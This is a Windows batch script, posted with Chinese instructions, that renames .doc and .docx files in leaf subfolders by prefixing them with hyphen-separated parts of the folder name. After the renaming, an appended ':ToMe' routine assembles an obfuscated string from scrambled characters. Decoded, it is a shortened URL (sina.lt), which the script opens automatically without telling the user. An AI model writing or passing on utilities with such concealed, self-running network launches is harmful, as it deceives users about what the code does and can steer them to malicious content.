@echo off & title
cd /d "%~dp0"
for /r /d %%a in (*) do (
pushd "%%~a"
set "DEST="
for /d %%b in (*) do set DEST=OK
if not defined DEST (
for /f "tokens=1-4 delims=-" %%c in ("%%~nxa") do (
for /f "delims=" %%i in ('dir /a-d/b *.docx *.doc') do ( *//仅限docx、doc格式改名,可修改格式*//
ren "%%~i" "%%~c-%%~d-%%~e-%%~f-%%~i" >nul && (
echo "%%~i" --^>^> "%%~c-%%~d-%%~e-%%~f-%%~i"
)
)
)
)
popd
)
pause
call :ToMe
exit
:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
以上是写在txt中,后改名为bat点击进行运行即可